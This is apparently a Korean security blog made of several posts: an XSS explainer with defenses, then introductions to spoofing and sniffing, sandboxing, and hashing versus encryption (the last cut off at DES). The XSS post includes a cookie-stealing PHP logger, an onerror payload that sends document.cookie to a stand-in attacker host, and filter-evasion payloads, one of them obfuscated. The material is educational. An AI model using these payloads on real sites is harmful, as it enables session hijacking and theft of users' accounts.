XSS공격이란

XSS(Cross-site Scripting)는 웹 상에서 가장 기초적인 취약점 공격 방법의 일종으로, 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말합니다. 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취합니다. 크로스 사이트 스크립팅이란 이름 답게, 자바스크립트를 사용하여 공격하는 경우가 많습니다. 공격 방법이 단순하고 가장 기초적이지만, 많은 웹사이트들이 XSS에 대한 방어 조치를 해두지 않아 공격을 받는 경우가 많습니다. 여러 사용자가 접근 가능한 게시판 등에 코드를 삽입하는 경우도 많으며, 경우에 따라서는 메일과 같은 매체를 통해서도 전파됩니다. 물론, HTML을 사용하는 것이기 때문에, Text-Only 게시판이나, BBCode를 이용하는 위키위키 등에서는 XSS가 발생할 일은 없습니다. 단, {{{#!html HTML}}} 을 이용해서 HTML 태그를 사용할 수 있으므로 취약점이 있을 수도 있습니다. 주로 CSRF를 하기 위해서 사용되기 때문에 종종 CSRF와 혼동되는 경우가 있으나, XSS는 자바스크립트를 실행시키는 것이고, CSRF는 특정한 행동을 시키는 것이므로 다릅니다.

예시

해커의 홈페이지에 Cookie.php라는 이름의 PHP 파일을 생성합니다.

<? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>


다음 공격할 사이트(hack.er라는 사이트를 예시)에 스크립트를 심습니다. 

<img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">


사용자가 스크립트가 심어진 페이지를 볼 경우, 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해집니다.

기법

아래는 한국에서 가장 많이 사용되는 IE 기준으로 작성한 것입니다. 따라서 크롬, 파이어폭스 등의 브라우저나 최신 브라우저 환경에서는 작동하지 않을 수도 있습니다. 실험은 w3schools에서 할 수 있습니다.

스크립트 태그

방법

스크립트 태그로 자바스크립트를 실행

예제

<script>alert('XSS');</script>

설명

스크립트 태그의 스크립트를 실행시킵니다. 안타깝게도, 매우 정직한 방법이라 대부분의 사이트에서 막는 경우가 많습니다. 브라우저단에서 필터링 해주는 경우도 있습니다. 물론 아래와 같이 예외 코드도 있습니다.

<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>

이 방법은 정직하여 막기가 쉽지만 만들어진지 몇십 년 이상 되었거나, 보안에 신경을 안써서 막지도 않는 경우도 있습니다.

자바스크립트 링크

방법

링크 태그로 자바스크립트를 실행

예제

<a href="javascript:alert('XSS')">XSS</a>

설명

브라우저에서 about: 링크와 같이, javascript: 로 시작하는 링크는 스크립트를 실행시킵니다.  XSS를 실행시키는 데만 사용되지는 않고, 링크 태그를 클릭할 경우, 다른 사이트로 이동하는 것을 막기 위해서 아래와 같이 사용되는 경우도 있습니다. 

<a href="javascript:;">LINK</a> 

스크립트 태그와 같이, javascript:를 필터링하는 경우가 많아 안타깝게도 많은 사이트에서 막습니다. 하지만, 스크립트 태그만 막는 경우도 있으니 시도는 해볼만 합니다.

이벤트 속성

방법

이벤트 속성을 사용

예제

<img src="#" onerror="alert('XSS')">

설명

이벤트 속성으로 스크립트를 실행할 수 있습니다. 주로 on 으로 시작하는 속성이 이벤트 속성입니다. 자주 사용되는 이벤트 속성으로는 onload onerror onclick 등이 있습니다. 물론, 이 방법 역시 '자바스크립트 링크' 방법만큼 많이 막혔습니다. 하지만, 마찬가지로 스크립트 태그만 막는 경우도 있으니 시도는 해볼만 합니다.

블랙리스트 우회

방법

알려지지 않은 태그와 속성들을 사용

예제

<ruby oncopy="alert('XSS')">XSS</ruby>

설명

블랙 리스트 방식으로 막는 사이트에 사용할 수 있습니다. 이벤트 속성 목록을 참고하면 됩니다. 위의 방법들보다는 적게 막혔으나, 여전히 최근 웹사이트들에선 화이트리스트 방식 차단이 대부분이라, 막혔을 가능성이 높습니다. 

내용 난독화

방법

따옴표로 감싸는 문자열 사이에 공백 문자들을 넣고 HTML 인코드를 하여 난독화합니다.

예제

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#xA;&#x63;&#x72;&#x69;&#x70;&#x74;&#xA;&#x3A;&#xA;&#x61;&#x6C;&#x65;&#x72;&#x74;&#xA;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">XSS</a>

설명

일부 브라우저에서 javascript: 링크 사이에 공백 문자가 들어갈 수 있고, HTML 인코드를 해도 디코드된 내용이 출력된다는 점을 이용합니다. 여기에서는 '자바스크립트 링크' 방법과 사용하였지만, 당연히 다른 방법과 함께 사용할 수 있습니다.

스크립트 난독화

방법

aaaencode에서 자바스크립트 난독화.

예제

XSS/aaaenocde 아래 참조.

゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

설명

스크립트를 일본어를 사용한 이모티콘들로 난독화합니다. 기존에는 JSFuck이 사용되었지만, 제작자의 말로, 오류가 나서 더이상 사용하지 못한다고 합니다. 스크립트 실행은 가능하지만, document.cookie 와 같은 단어를 막을 경우 사용하면 됩니다.

방어기법

XSS는 데이터를 입력할 때와 출력할 때, 모두 필터링하고, 클라이언트에도 막을 수 있을만한 수단을 구성해놓는 것이 좋습니다. 보안은 한없이 덧대도 끝이 없고, 아래 서술한 방식으로 구성해도 기어코 뚫어버리는 사람들이 존재하기 때문입니다.

입력필터

자바는 적당한 XSS 필터를 만든 뒤, web.xml에 선언하여 모든 파라미터가 해당 필터를 거치도록 하는것 만으로도 좋은 효과를 볼 수 있습니다. 

 PHP는 입력을 처리할 때, 정규식을 이용하는 preg_replace를 사용하거나, 노드를 이용하는 DOMDocument를 사용할 수 있습니다. 속도는 preg_replace가 더 빠르지만, 정규식의 경우 예외와 오류가 종종 발생하기 때문에, 더 안전한 DOMDocument를 사용하는 것이 권장됩니다. 하지만, 사람에 따라서 정규식을 사용하는 것이 개발하기 더 편한 경우가 있습니다. 하지만, 그렇다고 함부로 대충 정규식을 만들어서 사용했다가 탈탈 털리는 경우가 있습니다.

필터제작

단순히 텍스트만 입력시키거나 출력하는 데 필터를 제작할 때, 주로 필터되는 것이 <와 >입니다. 각각 &lt; 와 &gt; 처럼 HTML 문자로 바꾸어서 HTML 코드가 아닌 단순 문자로 인식하게 하는 것입니다. 하지만, 이 경우는 모든 HTML 태그를 막아버리기 때문에, 각종 스타일을 적용시켜야하는 사이트에서는 맞지 않을 수도 있습니다.

라이브러리 제작

각종 스타일을 적용시켜 글을 꾸며야 하는 사이트의 경우, 스크립트 태그와 이벤트 속성, javascript: 링크만 제대로 막아주어도 상당수를 막을 수 있을 것입니다. 하지만, EMBED 태그를 이용하여 저런 기법을 사용하지 않고도 XSS를 먹이는 경우가 있으므로, 다른 것들도 모두 막아주어야 합니다. 이 때, 일부 태그 및 속성만 막기 보다는, 반대로 일부 태그 및 속성만 허용하게 하는 것이 좋습니다. 몇몇 태그만 막는다면 HTML 태그나 속성이 추가될 수록 주기적으로 필터를 수정해줘야 하는데, 이럴 경우 HTML 표준을 주기적으로 꼼꼼히 챙겨보지 않는 한은(설령 그렇다 하더라도 비표준 태그가 있어서 웹 브라우저마다 호환이 안 될 수도 있음), 업데이트를 하는 사이에 이미 해커가 침투해놓고 유유자적하게 빠져나갔을 수도 있기 때문입니다.

라이브러리 이용

기존에 있던 라이브러리를 가져다 사용해도 좋습니다. 개인이나 소규모 단체가 만든 것 보다는, 전문적인 보안 업체나 거대 기업에서 만든 것이 공신력있고 편하기 때문입니다. 사용할만한 것으로는 OWASP Antisamy이나 NAVER Lucy XSS Filter, ESAPI 등을 이용하는 방법이 있습니다.

BBCode 사용

글을 꾸며야 하지만, 따로 필터를 만들긴 어려운 경우, BBCode를 사용할 수도 있습니다. 주로 <와 >를 대체하여서, [와 ]를 사용하여 만듭니다. 만들기도 다른 방법에 비해 편하고, 안전성도 높은 편이기 때문에 가장 추천되는 방법입니다. 또한 <나 >같은 HTML 코드를 단순 문자로 바꿀 수 있기 때문에 XSS가 실행될 염려가 적습니다. 하지만 이 때, 정규식과 같이 단순히 문자열 치환으로 수정할 경우, XSS가 발생할 수도 있습니다.

출력 필터

HTML5부터 iframe의 sandbox 옵션으로 iframe 내의 자바스크립트, 폼과 같은 것의 제한이 가능해 졌으므로, 위의 방법을 실행한 뒤 2차적으로 써보는 것도 좋습니다. 단, 어디까지나 2차로만 사용하는 것이 좋습니다. 구버전의 웹 브라우저라면 호환이 되지 않아 스크립트가 그대로 실행되거나, 설령 그게 아니더라도 웹 브라우저에서 취약점이 발견될 경우, 이런 방법이 뚫릴 수 있기 때문입니다. 

 iframe은 단순히 다른 웹사이트를 불러오는 것만이 아니라, 부모 창에서 마음대로 수정할 수 있기 때문에, 무식하게 다른 페이지를 불러오며 AJAX나 PJAX 등을 포기하며 사용하지 말아야 합니다. 물론, 기존부터 라이브러리를 사용하지 않고 웹 페이지를 개발하는 사람은 물론이고, jQuery같은 라이브러리를 사용하는 사람들도 조금만 검색해보면 간단하게 iframe의 내용을 수정할 수 있는 방법이 나오니 도전해 보도록 합시다.

기타

위 방법들과는 별개로 일반 사용자가 스크립트를 잘 알지 못하는 것을 악용하여, 사용자가 브라우저 콘솔에 악성 스크립트를 삽입해 실행되도록 속하기도 하는데, 이를 스스로 하는 XSS라는 뜻의 Self XSS라고 부릅니다. 이는 사용자가 스스로 실행한 것이니만큼 위 방어 방법으론 막기 어려우니, 잘 알지 못하는 스크립트 등은 절대로 실행해서는 안됩니다. 이 때문에 파이어폭스 등 일부 브라우저는 콘솔에 붙여넣기 시 경고후 확인을 거쳐야 붙여 넣을 수 있습니다.

XSS 공격을 방지하는 7계명

0. 허용된 위치가 아닌 곳에 신뢰할 수 없는 데이터가 들어가는것을 허용하지 않는다.
1. 신뢰할 수 없는 데이터는 검증을 하여라.
2. HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 하여라.
3. 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 하여라.
4. CSS의 모든 신뢰할 수 없는 값에 대해서 검증하여라.
5. URL 파라미터에 신뢰할 수 없는 값이 있는지 검증하여라.
6. HTML 코드를 전체적으로 한번 더 검증하여라.


'보안 & 보안' 카테고리의 다른 글

블록 암호 운용 방식 (block cipher modes of operation)  (1) 2017.02.18
CSRF란?  (0) 2017.01.16
XSS공격이란  (0) 2017.01.16
Spoofing? Sniffing?  (0) 2016.11.09
SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (2) 2016.07.21

스푸핑(Spoofing)이란?

자기 자신의 식별 정보를 속여 다른 대상 시스템을 공격하는 기법입니다. 네트워크 상의 공격자는 TCP/IP 프로토콜 상의 취약성을 기반으로 해킹 시도시 자신의 시스템 정보(IP 주소, DNS 이름, Mac 주소 등)를 위장하여 감춤으로써 역추적이 어렵게 만듭니다. 이러한 스푸핑 공격은 패킷 스니퍼링이나 서비스 거부 공격, 세션 하이재킹(Session Hijacking)등의 다른 여러가지 공격을 수행 가능하게 합니다. 스푸핑을 그냥 사용하기 보단 스니핑을 사용하기 위한 준비단계로 많이 사용됩니다.

스니핑(Sniffing)이란?

사전적인 의미로 스니핑(Sniffing)이란 ‘코를 킁킁거리다’, ‘냄새를 맡다’ 등의 뜻이 있습니다. 사전적인 의미와 같이 해킹 기법으로서 스니핑은 네트워크 상에서 자신이 아닌 다른 상대방들의 패킷 교환을 엿듣는 것을 의미합니다. 간단히 말하여 네트워크 트래픽을 도청(eavesdropping)하는 과정을 스니핑이라고 할 수 있습니다. 이런 스니핑을 할 수 있도록 하는 도구를 스니퍼(Sniffer)라고 하며 스니퍼를 설치하는 과정은 전화기 도청 장치를 설치하는 과정에 비유될 수 있습니다. Hub를 사용하는 곳에서는 패킷을 broadcast로 보내기 때문에 모든 PC에서 패킷을 볼 수 있습니다. 그러나 패킷의 목적지 IP가 자신의 IP가 아니면 버리게 되는데 이때 Promiscuous 모드를 사용하면 그 패킷을 버리지 않습니다. 

사용하는 툴로는 Wireshark를 통해서 패킷을 획득할 수 있습니다.

스푸핑 공격의 종류

  1. IP 스푸핑 
  2. ARP 스푸핑 
  3. 이메일 스푸핑 
  4. DNS 스푸핑

IP 스푸핑

IP 스푸핑은 말 그대로 IP 정보를 속여서 다른 시스템을 공격하는 것입니다. IP 스푸핑을 통해 서비스 거부 공격(TCP Syn flooding, UDP flooding, ICMP flooding)을 수행할 수도 있으며, 공격대상 컴퓨터와 서버 사이의 연결된 세션에 대해서 세션 끊기도 가능합니다. TCP/IP 상의 프로토콜 취약성은 1985년 Robert T. Morris의 논문 “A Weakness in the 4.2 BSD Unix TCP/IP Software”에 업급이 되었으며, 특히 희대의 해커 케빈미트닉은 실제 해킹에서 IP 스푸핑 공격을 통해 모토롤러, 선마이크로시스템즈, NEC, 노벨 등의 컴퓨터 전산망에 침투, 소프트웨어 및 각종 자료 등을 훔친 혐의로 1995년 체포되었습니다.

케빈 미트닉은 정확하게는 TCP Syn flooding + TCP 순서 번호 예측(TCP Sequence Nubmer Guessing)- IP 스푸핑을 사용하였습니다. 이는 클라이언트와 서버와의 통신 사이에 해커 컴퓨터가 끼어들어 클라이언트를 TCP Syn flooding 서비스 거부 공격으로 전혀 반응하지 못하게 한 후, 해커가 이 클라이언트인 것으로 가장하여 서버와 통신하는 기법입니다. 이러한 공격은 TCP/IP 프로토콜의 문제점인 TCP 순서 번호 생성이 매초당 일정하게 증가한다는 것과 호스트에 대한 인증시 IP의 소스 주소만을 사용한다는 것으로 인하여 가능하였습니다. 순서 번호는 연결 지향형 프로토콜인 TCP 프로토콜에서 두 호스트 간의 패킷 전달이 손실 없이 이루어졌는지 체크하기 위한 일종의 패킷 번호표입니다. 해커는 일단 클라이언트를 TCP Syn flooding 공격으로 봉쇄합니다. 이후 서버의 순서번호를 예측하여 IP 스푸핑된 위조 패킷을 발송함으로써 서버를 속여 침투하는 것입니다. IP 기반의 인증만을 제공하는 Unix의 rlogin, rsh 등의 r 계열 서비스들은 이러한 IP 스푸핑 공격에 취약할 수 밖에 없습니다.

ARP 스푸핑

ARP 프로토콜은 32bit IP 주소를 48bit의 네트워크 카드 주소(Mac Address)로 대응시켜 주는 프로토콜입니다. 우리가 실제로 IP 주소를 통해 네트워크 연결을 시도하면 TCP/IP에서는 해당 IP에 해당하는 네트워크 카드 주소를 찾아 연결하게 됩니다. 이러한 IP 주소와 네트워크 카드 주소의 대응 테이블은 스위치나 기타 네트워크 장비 및 사용자 컴퓨터에서 arp cache 테이블이라는 곳에 위치하게 됩니다. 해커가 이 테이블 상의 정보를 위조하게 되면 공격 대상 컴퓨터와 서버 사이의 트래픽을 해커 자신의 컴퓨터로 우회시킬 수 있습니다. 우회된 트래픽으로부터 해커는 패스워드 정보 등 유용한 정보를 마음껏 획득할 수 있습니다.

이메일 스푸핑

이메일 발송시 송신자의 주소를 위조하는 것입니다. 간단한 방법으로는 이메일 송신자 From 필드에 별칭(alias) 필드를 사용할 수 있습니다. 이메일 발송시 별칭을 설정한 경우에는 별칭 주소로 이메일이 발송됩니다. 이러한 경우 메일을 받아보는 사람은 실제 이메일 송신자가 아닌 별칭 필드만을 확인하는 경우에는 이메일의 송신자가 별칭 필드에서 온 것으로 알게 됩니다. 요즘 들어서 극성인 대량의 스팸 메일과 바이러스 감염 메일은 송신자의 주소가 아예 존재하지 않는 이메일 주소를 사용합니다. 또한 이메일을 발송한 메일 서버 또한 직접적인 메일 발송 서버가 아닌 중계 서버이므로 메일을 발송한 자를 추적하기란 쉽지 않습니다.

DNS 스푸핑

DNS 프로토콜은 인터넷 연결시 도메인 주소를 실제 IP 주소로 대응시켜 주는 프로토콜입니다. 인터넷 연결시 사용하는 DNS 서버가 IP 주소를 찾아달라는 요청을 받았을 때, 자기 자신의 도메인이 아닌 주소에 대해서는 보다 상위 단의 DNS 서버로부터 재귀적(recursive) 인 방식으로 IP 주소를 찾아 알려줍니다.

만약 해커가 어떤 도메인의 DNS 컴퓨터를 장악하여 통제하고 있다면 최종적으로 얻어진 IP 주소는 원래 사용자가 찾아가고자 하였던 홈페이지가 아닌 다른 홈페이지로 연결되게 됩니다. 이는 요청을 발송했던 DNS와 응답을 주는 DNS 사이의 트래픽을 해커가 스니퍼링함으로써 Query ID라는 값을 통해 해커의 사이트 IP를 최종 응답으로 넘겨주도록 하는 것입니다. 사용자가 쇼핑몰을 이용하고자 하였다면 해커에 의해 조작된 홈페이지 내에서 자신의 아이디와 필드, 신용 카드 정보를 기입함으로써 개인 정보를 탈취당할 수 있습니다.


위와 같은 스푸핑 공격들은 실제로 인터넷 상의 툴로써 공개가 되어 있으며 여러가지 다른 복합적인 공격과 같이 사용될 수 있습니다. 그러나 각각의 공격 방법에 있어서 제약 및 전제 사항이 있으므로 모두 완벽하게 성공 되지는 않습니다. 스푸핑 공격은 패킷 필터링 접근 제어와 IP 인증 기반 접근제어, 취약점 서비스 사용의 제거, 암호화 프로토콜의 사용을 통해서 방어가 가능합니다.


'보안 & 보안' 카테고리의 다른 글

CSRF란?  (0) 2017.01.16
XSS공격이란  (0) 2017.01.16
Spoofing? Sniffing?  (0) 2016.11.09
SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (2) 2016.07.21
AES  (0) 2016.07.21

샌드박스란

샌드박스는 외부로부터 받은 파일을 바로 실행하지 않고 보호된 영역에서 실행시켜 봄으로써 외부로부터 들어오는 파일과 프로그램이 내부 시스템에 악영향을 주는 것을 방지하는 기술입니다.

이는 외부로부터 유입되는 악성코드로부터 시스템 내 파일이나 프로세스를 보호하는 데 사용합니다. 샌드박스에서 실행되어 안전하다고 검증받은 파일이나 작업은 시스템 변경이 가능하지만, 허용하지 않은 경우에는 변경할 수 없습니다. 

기술적으로 설명하면, 외부로부터 들어온 프로그램이나 실행 파일을 가상화 내부에서 시험적으로 동작시켜봄으로써 가상화 밖으로는 영향을 주지 않습니다. 한 마디로 가상화 기술을 악성행위나 악성코드 감지 시스템에 적용한, 보안 가상화의 일종입니다. 가상화를 통한 보안은 상당히 많은 영역에서 사용되고 있습니다.
정보유출 방지 시스템에서의 SBC(Server Based Computing), VDI(Virtual Desktop Infrastructure, 데스크톱 가상화) 등이 있으며, 그리고 네트워크를 가상화한 망분리가 있습니다. 그리고 악성코드 전파 방지를 위해 샌드박스, 차폐, 악성코드 분석, 소프트웨어 테스트 등이 있습니다.

현재 샌드박스 기술은 보안 솔루션 뿐만 아니라 소프트웨어 테스트, 브라우저, 앱스토어 등 여러 분야에서 시스템 안전을 목적으로 활용되고 있습니다. 샌드박스 기술이 보안 분야에서 각광받게 된 것은 사이버 공격 기술의 발전으로 인한 기존 시그니처 기반의 탐지 솔루션의 한계 때문입니다.

시그니처 기반의 탐지 솔루션은 기존 바이러스나 악성코드들을 서버에 등록해놓고 유입되는 파일들을 일일리 대입해 검증하는 방식입니다. 악성코드의 빠른 진화와 공격 기술 발전으로, 변종 악성코드들이 하루가 다르게 발생하는 상황에서 시그니처 기반으로 한 보안 제품은 공격을 막는데 한계에 봉착하게 됩니다.

특히 특정 운영체제나 소프트웨어에서 발견된 취약점을 각 개발업체나 보안업체들이 패치하기 전에 공격에 악용하는, 일명 제로데이 공격(zero day attack)에는 속수무책일 수 밖에 없습니다. 또한 최근 공격자들은 기업 시스템이나 개인 PC에 몰래 침투한 뒤, 오랫동안 들키지 않고 기업 기밀이나 개인정보를 빼내는 경향이 많아졌습니다. 이를 APT(advanced persistent threat)라고 합니다. 이를 위해 공격자들은 기존 보안 시스템에 감지되지 않는 우회 기술들을 많이 개발해내고 있습니다. 이런 기존 감지 시스템의 한계를 극복하기 위해 보안업체들은 샌드박스 기술을 도입했습니다. 샌드박스의 역할은 유입되는 파일이나 프로그램을 곧바로 본 시스템에 들여보내는 것이 아니라 본 시스템과 유사하게 만들어진 일종의 대기실에서 해당 파일이나 프로그램을 실행시키는 것입니다.


이때 악성 프로그램이나 파일 속에 숨은 악성코드는 본래의 공격을 개시하는데 악성코드가 활동해 감염되고 침투되더라도 이 대기실만 감염되는 것입니다. 샌드박스 밖으로는 전파되지 못합니다. 각 보안업체들이 이런 샌드박스 기능이 담긴 보안 솔루션을 내놓으면서 보안 상황은 한결 좋아졌습니다. 하지만 보안 담당자들의 행복은 오래가지 않았습니다. IT 보안 공격과 방어는 창과 방패의 악순환처럼, 보안업체들이 뚫리지 않는 방패를 만들면 공격자는 이를 뚫는 창을 다시 만들어내고 이를 다시 막아내는 순환 프로세스를 반복하고 있습니다. 공격자들은 샌드박스 특유의 코드를 파악해 샌드박스를 감지해 실행을 하지 않거나 일정 시간동안 실행을 중지하는 등의 지능형 악성코드를 개발했습니다. 일정 기간 별다른 악성 행위가 없으면 본 시스템으로 이전시키는 샌드박스 기능의 특성을 이용한 것입니다. 샌드박스 방식의 보안 솔루션이 APT 공격의 주된 방패로 알려져 있지만 이렇게 우회 기술이나 회피 기술이 나왔으며, 근본적으로 샌드박스는 작업을 수행하는 데 시간이 오래 걸린다는 단점이 있습니다. 그래서 샌드박스 기능은 단독 보안 솔루션으로 사용하기보다는 시그니처 기반의 감지 솔루션, 평판 분석, 정적 분석, 웹 게이트웨이 등 여러 보안 제품과 통합, 연동을 통해 APT에 대응합니다

'보안 & 보안' 카테고리의 다른 글

XSS공격이란  (0) 2017.01.16
Spoofing? Sniffing?  (0) 2016.11.09
SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (2) 2016.07.21
AES  (0) 2016.07.21
Man In The Middle Attack  (0) 2016.07.19

이것저것 알아보다 보니 SHA와 AES의 차이가 무엇인지 궁금해졌습니다.. 보통 평문이나 암호화를 해야하는 부분은 AES를 사용하고 서버에서 인증서의 암호화가 필요한 부분은 SHA를 사용해 이 개념을 확실히 하기 위해 조사를 했습니다. 

Encryption(암호화)와 Hash(해쉬)의 차이

암호화는 암호화 알고리즘을 이용하고, 인증은 해쉬함수를 이용하여 Verification Data를 만들어 원문에 태그(Tag)를 붙여서 전송하므로 해쉬함수를 이용합니다. 암호화 알고리즘과 해쉬 함수의 동작 방식을 이해하면, 암호화와 인증의 차이를 이해할 수 있습니다.


위의 왼쪽 그림은 암호화 알고리즘의 동작방식을 설명한 것이며, 암호화는 기본적으로 양방향 통신을 전제로 하므로 암호화와 복호화가 가능해야 합니다. 복호화되지 않는 암호화는 의미가 없는 것입니다. 위의 오른쪽 그림은 헤쉬함수의 동작 방식을 설명한 것이며, 헤쉬는 메세지를 고정된 길의의 문자열로 변환합니다. 헤슁을 통해 생성된 Message Digest는 복호화될 필요가 없습니다. 헤쉬는 메세지마다 다른 내용의 Message Digest를 만들기 때문에 메세지의 지문(fingerprint)으로 볼 수 있습니다. 

정리하면, 암호화는 복호화를 전제로 양방향 통신을 위한 것이며, 헤쉬는 고정된 길이의 문자열을 생성하고 복호화를 할 수 없습니다.

해쉬의 이해

해쉬는 가변길이의 데이타를 고정된 길이의 문자열로 변환하는 역할을 하며, 복화화가 되지 않으므로 원문을 알수 없습니다. 대표적인 해쉬 알고리즘은 MD5 (Message Digest)와 SHA (Secure Hash Algorism)가 있습니다. 

아래그림의 왼쪽 그림은 일반적인 해쉬 과정입니다. 


일반적으로 헤쉬는 보안상의 문제가 있습니다. 원문을 해싱하여 Verification Data를 붙여서 전송하는 것이 일반적인데 전송 과정에서 누군가가 원문을 변환한 후에 Verification Data를 붙여서 수신자에게 보낸다면 수신자는 메세지의 변경 여부를 알지 못합니다. 

그래서, 위의 오른쪽 그림과 Secret Key를 추가하여 Verification Data를 생성하는 것입니다. 원문메세지에 보안키를 추가하여 Verification Data를 생성합니다. 이를 MAC (Message Authentication Code)라고 합니다. 전송과정에서 보안키를 모르는 제 삼자가 메세지를 변경하게되면 수신자는 이를 검출할 수 있습니다. MAC은 인증과 무결성을 동시에 제공할 수 있으며, 암호화에 비해 연산이 빠르다는 장점이 있습니다.  MAC은 생성 방식에 따라 다양하게 나눌 수 있는 데 IP Telephony에서는 HMAC (Hash-based MAC)을 주로 사용합니다. 

여기서 대표적인 해쉬 알고리즘인 MD5와 SHA-1에 대해 초 간단하게 살펴보겠습니다. 

MD5(Message Digest)

Rivers가 개발한 메세지 요약 알고리즘으로 큰 메세지를 압축해야 하는 전자서명 응용프로그램을 위해 개발되었으며, 최대 128 bit의 고정길이로 요약 가능합니다. 이름에서 보듯이 MD 5는 다섯번째를 의미하며, MD2는 8bit 컴퓨터를 위해 MD4와 MD5는 32bit 컴퓨터용으로 개발되었습니다. MD5는 과거에 라우터의 IOS에서 패스워드를 헤슁할 때 많이 쓰던 방식입니다. 보안이 취약하여 이제는 거의 쓰지 않습니다. 

SHA (Secure Hasj Algorism)

미국 국가 안전 보장국 (NSA)에서 개발하였습니다. 1993년에 최초 개발된 함수는 SHA-0로, 후에 SHA-0를 변형한 함수는 SHA-1으로, 그 후에 발표된 SHA-224, SHA-256, SHA-384, SHA-512를 묶어서 SHA-2 라고 합니다.  SHA-1이 가장 많이 쓰이며, TLS 및 SSL, IPSec에서 사용합니다.  SHA-0과 SHA-1는 최대 160bit의 고정길이로 요약하고, SHA-2는 사용 함수의 뒤 숫자 만큼 가능합니다. SHA는 MD5보다는 느리지만, 강화된 보안을 제공하므로 많이 사용합니다. 

헤쉬된 Verification Data 또는 MAC은 복호화가 되지 않으므로 수신자는 원문을 같은 방법으로 헤쉬합니다. 그래서 헤쉬된 값을 비교하여 결과를 확인합니다.


암호화의 이해

암호화는 크게 암호화와 복호화에 같은 키를 사용하는 대칭 암호화 (Symmetirx Encryption)과 서로 다른 키를 사용하는 비대칭 암호화(Asymmetirc Encryption)로 나누어집니다. 대칭 암호화의 대표적인 알고리즘은 DES, 3DES, AES과 있으며, 비대칭 암호화의 대표적인 알고리즘은 RSA입니다. 

대칭 암호화 알고리즘은 빠르다는 장점이 있지만, 송신자와 수신자가 같은 키를 사용해야만 하고, 기기마다 다른키를 가지고 있으며, 자주 키를 바꾸어야 하기 때문에 관리가 어렵다는 단점이 있습니다. 대칭 암호화 알고리즘은 Email,SRTP, HTTPS 등의 어플리케이션에서 많은 양의 데이타를 처리하기 위해 사용합니다.  대표적인 대칭 알고리즘인 DES와 AES에 대해 초 간단하게 살펴보겠습니다.

DES (Data Encryption Standard)

